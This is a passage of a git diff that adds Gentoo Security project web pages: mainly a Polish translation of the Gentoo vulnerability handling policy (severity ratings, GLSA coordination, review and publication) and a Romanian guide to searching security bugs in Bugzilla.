+  <ti>L'XML della GLSA deve essere corretto, ma non pubblicato</ti>
+</tr>
+<tr>
+  <ti>
+    Errore nel numero di versione infetta/non infetta, la gente che applica le
+    istruzione della GLSA non è comunque protetta
+  </ti>
+  <ti>Un errore di stampa deve essere pubblicato, replicando quello errato</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/pl/vulnerability-policy.xml b/xml/htdocs/security/pl/vulnerability-policy.xml
new file mode 100644
index 00000000..b8e9ae69
--- /dev/null
+++ b/xml/htdocs/security/pl/vulnerability-policy.xml
@@ -0,0 +1,782 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/security/pl/vulnerability-policy.xml,v 1.9 2009/04/14 10:10:28 shadow Exp $ -->
+
+<guide link="/security/pl/vulnerability-policy.xml" lang="pl">
+<title>Zasady postępowania z błędami bezpieczeństwa w Gentoo</title>
+<author title="Autor">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="Autor">
+  <mail link="jaervosz@gentoo.org">Sune Kloppenborg Jeppesen</mail>
+</author>
+<author title="Autor">
+  <mail link="vorlon@gentoo.org">Matthias Geerdsen</mail>
+</author>
+<author title="Autor">
+  <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</author>
+<author title="Tłumacz">
+  <mail link="shadow"/>
+</author>
+
+<abstract>
+Ten dokument opisuje zasady postępowania z błędami zawartymi w pakietach
+wchodzących w skład Gentoo Linux, które zostały udostępnione jego użytkownikom.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2.7</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>Zakres</title>
+<section>
+<title>Wspierane architektury</title>
+<body>
+
+<p>
+Gentoo Linux oferowany jest dla wielu architektur. Cześć z tych architektur
+posiada większą ilość deweloperów niż inne i z tego powodu zdolni są szybciej
+odpowiadać na nowe błędy w zabezpieczeniach, podczas gdy podstawowym celem
+projektu Gentoo Security jest zapewnienie poprawek bezpieczeństwa w tym samym
+czasie dla każdej architektury. Warto przy tym uwzględnić także fakt, że
+GLSA muszą być wypuszczane możliwie szybko, aby nasi użytkownicy zostali
+poinformowani o błędzie i mogli zabezpieczyć swoje komputery.
+</p>
+
+<p>
+Z tego powodu zespół bezpieczeństwa dzieli architektury Gentoo na dwie grupy:
+<b>wspierane</b> i <b>niewspierane</b>.
+</p>
+
+<ul>
+ <li>
+   <b>Wspierane:</b> błędy rozpoznane w tych architekturach muszą posiadać
+   rozwiązanie zanim GLSA zostanie wydane
+ </li>
+ <li>
+   <b>Niewspierane:</b> użytkownicy tych architektur będą powiadamiani o nowych
+   błędach, jednak nie będziemy czekać na rozwiązanie błędów na tych
+   architekturach przed wypuszczeniem GLSA i zamknięciem błędu.
+ </li>
+</ul>
+
+<p>
+Poniżej znajduje się lista aktualnie wspieranych architektur:
+</p>
+
+<table>
+<tr>
+  <th>Wspierane architektury</th>
+</tr>
+<tr>
+  <ti>alpha</ti>
+</tr>
+<tr>
+  <ti>amd64</ti>
+</tr>
+<tr>
+  <ti>hppa</ti>
+</tr>
+<tr>
+  <ti>ppc</ti>
+</tr>
+<tr>
+  <ti>ppc64</ti>
+</tr>
+<tr>
+  <ti>sparc</ti>
+</tr>
+<tr>
+  <ti>x86</ti>
+</tr>
+</table>
+
+<p>
+Każda architektura może zostać włączona do wspieranych. Istnieją dwie proste
+reguły, które muszą zostać spełnione, aby zostać oficjalnie wspieranym przez
+projekt Gentoo Security:
+</p>
+
+<ul>
+ <li>
+   Mianować dewelopera, który jest pierwszą osobą kontaktującą się w sprawach
+   błędów bezpieczeństwa odnośnie danej architektury. Sprawdzimy czy dana osoba
+   jest odpowiedzialna za zagwarantowanie, że błędy bezpieczeństwa są
+   odpowiednio traktowane na określonej architekturze.
+ </li>
+ <li>
+   Zapoznać się opublikowanymi tutaj harmonogramami testowania i oznaczania
+   pakietów jako stabilne.
+ </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Release Engineering</title>
+<body>
+
+<p>
+Zespół Release Engineering ("releng") zatrudnia dewelopera, który będzie
+zajmował się koordynacją pomiędzy tym zespołem a zespołem Security.
+</p>
+
+<p>
+Release Engineering informuje projekt Security kiedy będzie robiony pierwszy
+snapshot drzewa na potrzeby mediów instalacyjnych. W czasie pomiędzy tą datą a
+oficjalnym wydaniem Gentoo (okres przygotowań), osoba ta powinna być informowana
+(poprzez CC) o wszystkich błędach, które mają związek z bezpieczeństwem systemu.
+</p>
+
+</body>
+</section>
+<section>
+<title>Jądra</title>
+<body>
+
+<p>
+Jądra nie są objęte przez system GLSA. Błędy oczywiście są zgłaszane i
+naprawiane, ale <e>żaden raport GLSA</e> nie jest wydawany.
+</p>
+
+<note>
+Ta zasada może się zmienić, gdy powstaną narzędzia do sprawdzania
+bezpieczeństwa kolejnych wydań jądra.
+</note>
+
+</body>
+</section>
+<section>
+<title>Niestabilne pakiety</title>
+<body>
+
+<p>
+Zdarza się, że błąd zostanie znaleziony w pakiecie, który nie jest częścią
+stabilnego drzewa. Jest to przypadek kiedy błąd jest regresją bezpieczeństwa w
+nowszym (~ARCH) ebuildzie, ale starszy (stabilny) pakiet nie posiada tego błędu,
+lub wtedy gdy w drzewie nigdy nie było stabilnego ebuilda danego pakietu. W
+takim przypadku błąd cały czas musi być zgłoszony, po czym zostanie naprawiony,
+ale <e>nie zostanie wydany GLSA</e> kiedy wszystko zostanie rozwiązane.
+</p>
+
+<note>
+Polityka ta może zostać zmieniona w chwili kiedy nasze narzędzia zapewnią
+bardziej kompleksową aktualizację ścieżek oraz gdy dołączy wystarczająca ilość
+koordynatorów GLSA do zespołu bezpieczeństwa.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Vulnerability feed</title>
+<section>
+<title>Opublikowane błędy</title>
+<body>
+
+<p>
+Każdy błąd w bezpieczeństwie na powinien zostać poprzedzony wprowadzeniem
+wpisu do <uri link="https://bugs.gentoo.org">Bugzilli</uri> jako produkt "Gentoo
+Security" i komponent "Vulnerabilities" (przypisane do
+<mail>security@gentoo.org</mail>). Główne listy bezpieczeństwa powinny posiadać
+oficjalnie wybranych ludzi przydzielonych do nich, którzy powinni dbać o wpisy
+do bugzilli dla wszystkich błędów w bezpieczeństwie umieszczonych na tych
+listach.
+</p>
+
+</body>
+</section>
+<section>
+<title>Poufne błędy</title>
+<body>
+
+<p>
+Poufne błędy (czyli na przykład takie, które pochodzą z bezpośredniej wymiany
+informacji między deweloperami lub zastrzeżonych list vendor-sec) powinno
+traktować się w sposób specyficzny. Nie powinny one się pojawić jako publiczne
+wpisy w bugzilli, ale jedynie w zastrzeżonych mediach takich jak prywatne sekcje
+bugzilli lub narzędzie GLSAMaker. Powinny zostać one naprawione za pomocą
+prywatnych kanałów komunikacyjnych pomiędzy koordynatorem GLSA, a osobą
+zajmującą się pakietem.
+</p>
+
+<note>
+Wymiana informacji dotycząca poufnych błędów powinna być odpowiednio kodowana.
+Należy wysyłać je do określonych członków zespołu bezpieczeństwa oraz kodować
+przy użyciu klucza GPG. Listę członków zespołu bezpieczeństwa znaleźć można na
+stronie <uri link="http://security.gentoo.org">security.gentoo.org</uri>, ich
+GPD ID można odnaleźć na <uri
+link="http://www.gentoo.org/proj/en/devrel/roll-call/userinfo.xml">liście
+deweloperów Gentoo Linux</uri>, a ich klucze na serwerze kluczy <uri
+link="http://subkeys.pgp.net">subkeys.pgp.net</uri>.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dispatch</title>
+<section>
+<title>Poziom zagrożenia</title>
+<body>
+
+<p>
+Aby zapewnić odpowiedni czas reakcji i procedury eskalacji, dla każdego błędu
+należy przydzielić odpowiedni poziom zagrożenia. Poziom zagrożenia musi bazować
+na tym jak powszechne jest narażone oprogramowanie wśród użytkowników Gentoo i
+jak poważne są błędy.
+</p>
+
+<p>
+Możemy użyć poniższych dwóch tabel do pomocy przy przydzielaniu poziomu
+zagrożenia:
+</p>
+
+<table>
+<tr>
+  <th>Jak powszechny jest dany pakiet</th>
+  <th>Zagrożona konfiguracja</th>
+  <th> </th>
+</tr>
+<tr>
+  <ti>Pakiet systemu</ti>
+  <ti>Domyślny lub określony</ti>
+  <ti>A</ti>
+</tr>
+<tr>
+  <ti>Powszechny pakiet (występuje prawdopodobnie na co najmniej 1/20
+  instalacji Gentoo)</ti>
+  <ti>Domyślny</ti>
+  <ti>A</ti>
+</tr>
+<tr>
+  <ti></ti>
+  <ti>Określony</ti>
+  <ti>B</ti>
+</tr>
+<tr>
+  <ti>Oprogramowanie marginalne (występuje przypuszczalnie na mniej niż 1/20
+  instalacji Gentoo)</ti>
+  <ti>Domyślny</ti>
+  <ti>B</ti>
+</tr>
+<tr>
+  <ti></ti>
+  <ti>Określony</ti>
+  <ti>C</ti>
+</tr>
+<tr>
+  <ti>Pakiet, który nigdy nie posiadał narażonej stabilnej wersji</ti>
+  <ti>Domyślny lub określony</ti>
+  <ti>~</ti>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Przewidywany rodzaj błędu</th>
+  <th> </th>
+  <th>Odpowiednia ważność GLSA</th>
+</tr>
+<tr>
+  <ti>Całkowicie zdalny system: zdalne uruchamianie dowolnego kodu z
+  uprawnieniami superużytkownika</ti>
+  <ti>0</ti>
+  <ti>wysoki</ti>
+</tr>
+<tr>
+  <ti>Zdalne aktywne ujawnienie: bezpośrednie zdalne uruchomienie dowolnego kodu
+  z mniejszymi prawami lub prawami użytkownika na serwerze</ti>
+  <ti>1</ti>
+  <ti>wysoki</ti>
+</tr>
+<tr>
+  <ti>Eskalacja lokalnych zezwoleń: błąd w zabezpieczeniach pozwalający ujawnić
+  superużytkownika kiedy posiada się lokalny dostęp</ti>
+  <ti>1</ti>
+  <ti>wysoki</ti>
+</tr>
+<tr>
+  <ti>Zdalne bierne ujawnienie: zdalne uruchamianie dowolnego kodu poprzez
+  kuszenie użytkownika do odwiedzenia złośliwego serwera lub używanie złośliwych
+  danych</ti>
+  <ti>2</ti>
+  <ti>normalny</ti>
+</tr>
+<tr>
+  <ti>Globalne ujawnienie usług: ataki denial of service, hasła lub wycieki baz
+  danych, utrata danych (ataki symlink)</ti>
+  <ti>3</ti>
+  <ti>normalny</ti>
+</tr>
+<tr>
+  <ti>Pozostałe: Cross-Site Scripting, wyciek informacji...</ti>
+  <ti>4</ti>
+  <ti>niski</ti>
+</tr>
+</table>
+
+<p>
+Poniżej znajduje się tabela z listą poziomów zagrożenia. Podczas zgłaszania
+błędu na bugzilli należy nadać jedną z tych wartości.
+</p>
+
+<table>
+<tr>
+  <th>Poziom zagrożenia</th>
+  <th>Odpowiednia ocena</th>
+  <th>Opóźnienie</th>
+  <th>GLSA</th>
+</tr>
+<tr>
+  <ti>Blocker (Bloker)</ti>
+  <ti>A0, B0</ti>
+  <ti>1 dzień</ti>
+  <ti>tak</ti>
+</tr>
+<tr>
+  <ti>Critical (Krytyczny)</ti>
+  <ti>A1, C0</ti>
+  <ti>3 dni</ti>
+  <ti>tak</ti>
+</tr>
+<tr>
+  <ti>Major (Poważny)</ti>
+  <ti>A2, B1, C1</ti>
+  <ti>5 dni</ti>
+  <ti>tak</ti>
+</tr>
+<tr>
+  <ti>Normal (Normlany)</ti>
+  <ti>A3, B2, C2</ti>
+  <ti>10 dni</ti>
+  <ti>tak</ti>
+</tr>
+<tr>
+  <ti>Minor (Nieznaczny)</ti>
+  <ti>A4, B3, B4, C3</ti>
+  <ti>20 dni</ti>
+  <ti>?</ti>
+</tr>
+<tr>
+  <ti>Trivial (Trywialny)</ti>
+  <ti>C4, ~0, ~1, ~2, ~3, ~4</ti>
+  <ti>40 dni</ti>
+  <ti>nie</ti>
+</tr>
+</table>
+
+<note>
+Opóźnienie przedstawione w tej tabeli jest przedstawieniem maksymalnego czasu
+pomiędzy wydaniem poprawki przez dewelopera pakietu, a wydaniem stabilnego
+ebuildu i odpowiadającemu mu GLSA.
+</note>
+
+</body>
+</section>
+<section>
+<title>Odbiór zgłoszeń błędów związanych z bezpieczeństwem</title>
+<body>
+
+<p>
+Ktoś powinien odpowiednio zareagować na każde zgłoszenie jakie pojawia się na
+<uri link="https://bugs.gentoo.org">Bugzilli</uri>, oto jak powinien postępować:
+</p>
+
+<ul>
+  <li>
+    Wyszukiwanie duplikatów: jeśli jakiś wpis opisuje błąd, który został już
+    zgłoszony powinien zostać on rozwiązany jako DUPLICATE (duplikat)
+  </li>
+  <li>
+    Sprawdzanie poprawności komponentu (component): jeżeli błąd nie jest słabym
+    punktem komponent powinien zostać odpowiednio zmieniony
+  </li>
+  <li>
+    Sprawdzanie czy błąd jest rzeczywiście słabym punktem i czy narażony jest
+    pakiet z dystrybucji Gentoo Linux, w przeciwnym wypadku należy rozwiązać
+    błąd jako INVALID.
+  </li>
+</ul>
+
+<p>
+W czasie tego procesu może być konieczne zapytanie o szczegóły zgłaszającego
+błąd. Błąd posiada status NEW (nowy) tak długo jak to będzie konieczne. Kiedy
+błąd przejdzie testy poprawności (sanity tests) powinien zostać zaakceptowany, a
+osoby zajmujące się utrzymaniem porządku na bugzilli (bug wranglers) powinno
+postępować w sposób opisany poniżej:
+</p>
+
+<ul>
+  <li>
+    Zmiana nazwy błędu tak, aby zawierał wpis kategoria/nazwa-pakietu (na
+    przykład: "net-mail/clamav: DoS using RAR files")
+  </li>
+  <li>Ocena i przydzielenie poziomu ważności (patrz wyżej)</li>
+  <li>Ustawić status jako ASSIGNED</li>
+  <li>Zmienić pole statusu na poprawny kod ważności i statusu</li>
+  <li>Dodać cc do opiekunów pakietu zgodnie z plikiem metadata pakietu</li>
+  <li>Ustawić pole URL do raportu błędu upstream</li>
+  <li>
+    Wyszukać zarezerwowane lub przypisane identyfikatory CVE i dodanie ich do
+    tytułu raportu, a w przypadku braku prośba o przyznanie CVE
+  </li>
+  <li>
+    Opcjonalnie można przydzielić koordynatora GLSA dla danego błędu poprzez
+    dodanie nazwiska koordynatora do pola statusu.
+  </li>
+</ul>
+
+<warn>
+Nie należy zmieniać poziomu ważności błędu jeśli został on już przyznany. Jeżeli
+chcemy zwrócić uwagę deweloperów, należy użyć pola Priority.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Rama czasowa i procedury kopii zapasowej</title>
+<body>
+
+<p>
+Poprawka (dispatch) powinna zostać wykonana w czasie jak najkrótszym od
+zgłoszenia błędu, tak aby zagwarantować jak najkrótsze opóźnienia dla poważnych
+błędów i równocześnie, aby okazać wdzięczność dla osoby zgłaszającej błąd.
+Docelowym opóźnieniem jest 12 godzin. Security bug wrangler musi dostarczyć
+listę możliwych koordynatorów GLSA z preferowanymi obszarami ekspertyz. Aby
+zapewnić trwałą poprawkę, osoba zajmująca się sprzątaniem bugzilli z błędów
+związanych z bezpieczeństw (security bug wrangler), powinna wykonywać
+odpowiednie kopie zapasowe.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Korekcja błędów oraz szkic GLSA</title>
+<section>
+<title>Rola koordynatora GLSA</title>
+<body>
+
+<p>
+Koordynator GLSA odpowiada za następujące zadania:
+</p>
+
+<ul>
+  <li>
+    Wyznaczyć co należy zrobić, aby zamknąć błąd (przykładowo zidentyfikować
+    poszukiwaną wersję zawierając poprawkę)
+  </li>
+  <li>
+    Jeżeli nie jest dostępna poprawka, należy upewnić się, że błąd jest
+    poprawnie zgłoszony do autora programu, pole statusu ustawić na
+    <c>upstream</c>
+  </li>
+  <li>
+    Jeśli poprawka jest już dostępna należy zaangażować opiekuna pakietu do
+    stworzenia i zaakceptowania ebuilda zawierającego daną łatkę oraz
+    ustawienia pola statusu na <c>ebuild</c>
+  </li>
+  <li>
+    Kiedy ebuild zostanie już zaakceptowany należy ocenić jakie słowa kluczowe
+    (keywords) potrzebne są dla załatanego ebuilda, zespoły poszczególnych
+    architektur powinny je przetestować i oznaczyć je jako stabilne na danej
+    architekturze (zespoły architektur [arch-teams] powinny znajdować się na
+    liście CC błędu), a na koniec należy oznaczyć pole statusu jako
+    <c>stable</c>
+  </li>
+  <li>
+    Opiekuni architektur (arch-maintainers) powinni oznaczyć ebuild jako
+    stabilny jeśli poprawiony ebuild nie posiada już błędów z poprzedniej wersji
+  </li>
+  <li>Równolegle, należy napisać szkic GLSA używając GLSAMaker tool</li>
+  <li>
+    Kiedy poprawny ebuild jest gotowy dla wszystkich wspieranych architektur
+    należy ustawić pole statusu na <c>glsa</c>.
+  </li>
+</ul>
+
+<note>
+Jeżeli widoczny jest postęp w naprawie błędu, a przydzielony koordynator GLSA
+nie reaguje, pozostali członkowie zespołu bezpieczeństwa mogą pomagać poprzez
+uaktualnianie statusu.
+</note>
+
+</body>
+</section>
+<section>
+<title>Rama czasowa i procesy eskalacji</title>
+<body>
+
+<p>
+Jeżeli chcemy poznać docelowe opóźnienie w rozwiązaniu błędu, została
+zdefiniowana liczba procedur eskalacji. Zawierają one:
+</p>
+
+<ul>
+  <li>
+    Kiedy błąd jest w fazie początkowej należy zwrócić na niego szczególną
+    uwagę oraz należy zmienić pole statusu na odpowiednik ze znakiem "+":
+    <c>upstream+</c>, <c>ebuild+</c>, <c>stable+</c> and <c>glsa+</c>
+  </li>
+  <li>
+    Jeżeli nie jest dostępna poprawka (status <c>upstream+</c>), musi zostać
+    podjęta decyzja o zamaskowaniu pakietu: zespół bezpieczeństwa może
+    zamaskować pakiet, który nie jest zależny sam od siebie, jednak należy
+    posiadać zezwolenie administratora TLP, aby zamaskować pakiet, który nie
+    jest samodzielny
+  </li>
+  <li>
+    Jeżeli opiekun nie stworzy ebuilda w 48 godzin po zgłoszeniu (status
+    <c>ebuild+</c>), zespół bezpieczeństwa sam powinien próbować stworzyć
+    odpowiedniego ebuilda
+  </li>
+  <li>
+    Jeżeli testowanie i przechodzenie pakietu do wersji stabilnej trwa zbyt
+    długo (status <c>stable+</c>) zespół bezpieczeństwa poprosi na kanałach IRC
+    oraz na liście gentoo-dev o większą ilość testerów. Ebuild zostanie
+    oznaczony jako stabilny przez nich samych jednak w przypadku gdy występują
+    problemy z stabilnością należy go zamaskować
+  </li>
+  <li>
+    Jeżeli koordynator nie zainteresuje się i nie naszkicuje GLSA (status
+    <c>glsa+</c>), wtedy inny członek zespołu bezpieczeństwa powinien
+    naszkicować GLSA i udostępnić go do recenzji dla innych.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Dobre zwyczaje dla błędów bezpieczeństwa</title>
+<body>
+
+<p>
+Błędy bezpieczeństwa różnią się od innych błędów tym, że sposób aktualizacji
+musi zostać przedstawiony użytkownikom poprzez GLSA jak najbardziej prosto.
+Dlatego opiekunowie pakietów i koordynatorzy GLSA powinni zastosować się do
+poniższych dobrych rad:
+</p>
+
+<ul>
+  <li>
+    Ebuild zawierający poprawkę bezpieczeństwa powinien posiadać swój własny
+    numer tak, aby uruchomił się w normalnym procesie aktualizacji systemu
+  </li>
+  <li>
+    Ebuild zawierający łatkę bezpieczeństwa powinien posiadać wyższy numer niż
+    poprzednio wydana wersja tak, aby prosty sposób aktualizacji mógł zostać
+    zaproponowany użytkownikowi
+  </li>
+  <li>
+    W przypadku poprawki, powinna ona zostać zaaplikowana jedynie do ostatniej
+    wersji. Nie ma potrzeby zmiany numeru wersji dla wszystkich ebuildów z
+    poprawką
+  </li>
+  <li>
+    Wersje posiadające błędy i słabe punkty powinny pozostać w drzewie dopóki
+    błąd nie otrzyma statusu <c>stable</c>, aby poprawnie ocenić jakie słowa
+    kluczowe są potrzebne dla poprawionej wersji.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Czasowe GLSA</title>
+<body>
+
+<p>
+Jeśli błędy typu <e>blocker</e>, <e>critical</e> lub <e>major</e> nie mogą
+zostać całkowicie naprawione z docelowym opóźnieniem, należy napisać
+wcześniejsze ostrzeżenie GLSA z informacją. Ta wersja GLSA zostanie zastąpiona
+finalną kiedy tylko ostateczna poprawka będzie dostępna.
+</p>
+
+<p>
+Jeżeli powszechny pakiet (typ A lub B) zamaskowany jest z powodów
+bezpieczeństwa, powinien zostać wydany czasowy GLSA dla wyjaśnienia przyczyn,
+dlaczego w danej chwili pakiet jest niedostępny i/lub dlaczego użytkownicy
+powinni odinstalować obecną wersję. Ta wersja GLSA zostanie zastąpiona wersją
+finalną w chwili gdy poprawka będzie dostępna i pakiet zostanie odmaskowany.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Proces publikacji GLSA</title>
+<section>
+<title>Recenzowanie</title>
+<body>
+
+<p>
+Kiedy GLSA jest już gotowe, powinno się wysłać je do recenzji. Przynajmniej
+dwóch członków zespołu bezpieczeństwa musi zatwierdzić szkic GLSA. Kiedy już
+szkic przejdzie ten proces powinien zostać mu przydzielony oficjalny numer
+GLSA.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wydanie GLSA</title>
+<body>
+
+<p>
+Kiedy GLSA przejdzie proces weryfikacji (po upewnieniu się, że ebuild znalazł
+się już w stabilnej gałęzi drzewa) koordynator GLSA powinien zatwierdzić plik
+XML GLSA w repozytorium CVS Gentoo. Kiedy tak zrobi GLSA automatycznie pojawi
+się na <uri link="http://glsa.gentoo.org">oficjalnej stronie GLSA</uri> i w
+<uri link="http://www.gentoo.org/rdf/en/glsa-index.rdf">RDF</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Publikacja GLSA</title>
+<body>
+
+<p>
+Wersja tekstowa GLSA musi zostać opublikowana w następujący sposób:
+</p>
+
+<table>
+<tr>
+  <ti>Oficjalna lista mailingowa Gentoo Linux</ti>
+  <ti>
+  <mail link="gentoo-announce@lists.gentoo.org">gentoo-announce@lists.gentoo.org</mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Bugtraq security mailing-list</ti>
+  <ti>
+  <mail link="bugtraq@securityfocus.com">bugtraq@securityfocus.com</mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Full-disclosure security mailing-list</ti>
+  <ti>
+  <mail link="full-disclosure@lists.grok.org.uk">
+  full-disclosure@lists.grok.org.uk
+  </mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Linuxsecurity.com advisories service</ti>
+  <ti>
+  <mail link="security-alerts@linuxsecurity.com">
+  security-alerts@linuxsecurity.com
+  </mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Gentoo Linux announcement forum</ti>
+  <ti><uri>http://forums.gentoo.org/viewforum.php?f=16</uri></ti>
+</tr>
+</table>
+
+<p>
+Powinna zostać wysłana jedna wiadomość elektroniczna, z poniższymi danymi:
+</p>
+
+<ul>
+  <li>Pole <c>To:</c> musi zostać ustawione na gentoo-anounce</li>
+  <li>Pole <c>Cc:</c> musi zawierać pozostałe adresy poczty elektronicznej</li>
+  <li>
+    Pole <c>From:</c> i <c>Return-Path:</c> musi zostać ustawiony adres
+    koordynatora GLSA w domenie @gentoo.org
+  </li>
+  <li>
+    Pole <c>Subject:</c> musi wyglądać następująco "[ GLSA XXXXYY-ZZ ] Twój
+    błąd"
+  </li>
+  <li>Treść powinna zawierać jedynie wersję tekstową GLSA</li>
+  <li>
+    Wiadomość musi zostać podpisana przy użyciu klucza GPG koordynatora GLSA.
+  </li>
+</ul>
+
+<note>
+Klucze identyfikacyjne deweloperów można znaleźć na
+<uri link="http://www.gentoo.org/proj/en/devrel/roll-call/userinfo.xml">
+liście deweloperów</uri> Gentoo Linux. Wszystkie klucze GPG zespołu
+bezpieczeństwa opublikowane są na publicznych serwerach kluczy, włączając w to
+<uri link="http://subkeys.pgp.net/">subkeys.pgp.net</uri>.
+</note>
+
+<note>
+Aby zminimalizować ryzyko błędów w procesie publikacji, publikacja na forum jest
+wykonywana automatycznie kiedy tylko automat dostanie zawiadomienie.
+</note>
+
+<p>
+Kiedy GLSA zostanie opublikowane odpowiadający mu błąd powinien zostać
+rozwiązany jako FIXED z numerem GLSA w sekcji komentarzy danego błędu.
+</p>
+
+</body>
+</section>
+<section>
+<title>Errata GLSA</title>
+<body>
+
+<p>
+Zdarzają się sytuacje kiedy podczas procesu recenzji przez innych koordynatorów
+prześliźnie się błąd i zostanie opublikowane błędne wydanie GLSA. W zależności
+od ważności błędu, należy stosować następującą politykę erraty:
+</p>
+
+<table>
+<tr>
+  <th>Typ erraty GLSA</th>
+  <th>Zalecane działania</th>
+</tr>
+<tr>
+  <ti>Typ: prezentacja, gramatyka lub literówka.</ti>
+  <ti>Nie robimy nic.</ti>
+</tr>
+<tr>
+  <ti>Błąd w tytule: tytuł odnosi się do innego pakietu lub nie opisuje błędu w
+  poprawny sposób.</ti>
+  <ti>Powinna zostać opublikowana errata GLSA, zastępując błędną.</ti>
+</tr>
+<tr>
+  <ti>Błąd w opisie: problem nie jest opisany odpowiednio.</ti>
+  <ti>Kod XML w GLSA powinien być jedynie poprawiony bez wydawania nowego
+  GLSA.</ti>
+</tr>
+<tr>
+  <ti>Pominięcie: GLSA jest poprawne, ale niekompletne. Trzeba zaktualizować
+  inny pakiet, aby zabezpieczyć się przed danym błędem.</ti>
+  <ti>Oddzielne wydanie GLSA powinno zostać opublikowane dla innego pakietu
+  zawierającego błąd.</ti>
+</tr>
+<tr>
+  <ti>Błąd w dotkniętym/niedotkniętym numerze wersji, jednak ludzie używający
+  stabilnych pakietów i ci, którzy zastosowali się do instrukcji z GLSA są
+  chronieni.</ti>
+  <ti>Kod XML w GLSA powinien zostać jedynie poprawiony bez wydawania nowego
+  GLSA.</ti>
+</tr>
+<tr>
+  <ti>Błąd w dotkniętym/niedotkniętym numerze wersji, użytkownicy stosujący
+  instrukcje zawarte w GLSA nie są chronieni</ti>
+  <ti>Powinna zostać opublikowana errata GLSA, zastępująca błędną</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/ro/bug-searching.xml b/xml/htdocs/security/ro/bug-searching.xml
new file mode 100644
index 00000000..5866a53a
--- /dev/null
+++ b/xml/htdocs/security/ro/bug-searching.xml
@@ -0,0 +1,103 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/security/ro/bug-searching.xml" lang="ro">
+<title>Sfaturi pentru căutarea şi filtrarea bug-urilor de Securitate</title>
+<author title="Autor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Translator">
+  <mail link="alin@gentoo.org">Alin Dobre</mail>
+</author>
+
+<abstract>
+Acest document vă oferă sfaturi şi ponturi în ajutorul filtrării bug-urilor
+legate de securitate din bugzilla.
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2004-10-17</date>
+
+<chapter>
+<title>Căutarea de Bug-uri</title>
+<section>
+<title>Toate bug-urile de Securitate</title>
+<body>
+
+<p>
+Pentru identificarea tuturor bug-urilor legate de securitate, utilizaţi pagina
+de <uri link="http://bugs.gentoo.org/query.cgi">căutare</uri> în bugzilla
+şi setaţi următoarele câmpuri:
+</p>
+
+<ul>
+<li><b>Component:</b> selectaţi "Vulnerabilities"</li>
+<li>
+  <b>Status:</b> setaţi acest câmp la tipul bug-ului pe care doriţi să-l
+  căutaţi (spre ex. bug-uri închise - closed, bug-uri deschise - open, etc)
+</li>
+</ul>
+
+<p>
+Aceasta vă va returna o listă cu toate bug-urile de securitate din sistemul
+dvs. (sau, cel puţin, cele care sunt atribuite corect).
+</p>
+
+</body>
+</section>
+<section>
+<title>Bug-urile "Marcate ca stable" pentru Arhitecturi</title>
+<body>
+
+<p>
+Când un pachet a avut un patch de securitate aplicat, are nevoie să fie
+testat înainte de a fi marcat ca stabil pe arhitecturile afectate. Pentru a
+identifica toate bug-urile pentru care o anumită arhitectură a fost
+marcată ca stabilă, utilizaţi pagina de <uri
+link="http://bugs.gentoo.org/query.cgi">căutare</uri> şi setaţi
+următoarele câmpuri:
+</p>
+
+<ul>
+<li><b>Component:</b> selectaţi "Vulnerabilities"</li>
+<li>
+  <b>Status:</b> setaţi acest câmp la "New", "Assigned" şi "Reopened"
+  (spre ex. nu căutaţi bug-urile care au fost închise)
+</li>
+<li>
+  <b>Email and Numbering:</b> Oricare din: "CC list member" ar trebui să fie
+  setat la "contains &lt;arch&gt;@gentoo.org"
+</li>
+</ul>
+
+<p>
+Atunci când unui pachet i se aplică un patch şi necesită testare, echipa
+de securitate va introduce în câmpul CC toate arhitecturile relevante pentru
+un anumit bug, şi va cere ca echipele acestora să testeze şi să
+marcheze pachetul ca stabil cât mai curând posibil pe arhitectura
+respectivă. Astfel, prin utilizarea criteriilor de căutare descrise mai
+sus, va trebui să puteţi cu uşurinţă să vedeţi ce bug-uri necesită
+atenţie pentru un anumită arhitectură.
+</p>
+
+<impo>
+Pentru a face acest raport efectiv, este important ca echipele de arhitecturi
+să îşi amintească să se îndepărteze din câmpul CC odată ce au
+stabilizat un pachet.
+</impo>
+
+<note>
+Pentru arhitecturile nesuportate, bug-urile vor fi închise fără ca bug-ul
+să fie marcat ca stabil pentru o anumită arhitectură. Astfel,
+dezvoltatorii acestor arhitecturi pot dori să includă bug-urile închise
+în căutările acestora. (Pentru o explicaţie a "suportată" vs.
+"nesuportată" în cadrul arhitecturilor, vă rugăm să consultaţi <uri
+link="/security/en/vulnerability-policy.xml">Politica de Tratare a
+Vulnerabilităţilor</uri>.)
+</note>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/ru/glsa/index.xml b/xml/htdocs/security/ru/glsa/index.xml
new file mode 100644
index 00000000..a4513c64
--- /dev/null
+++ b/xml/htdocs/security/ru/glsa/index.xml
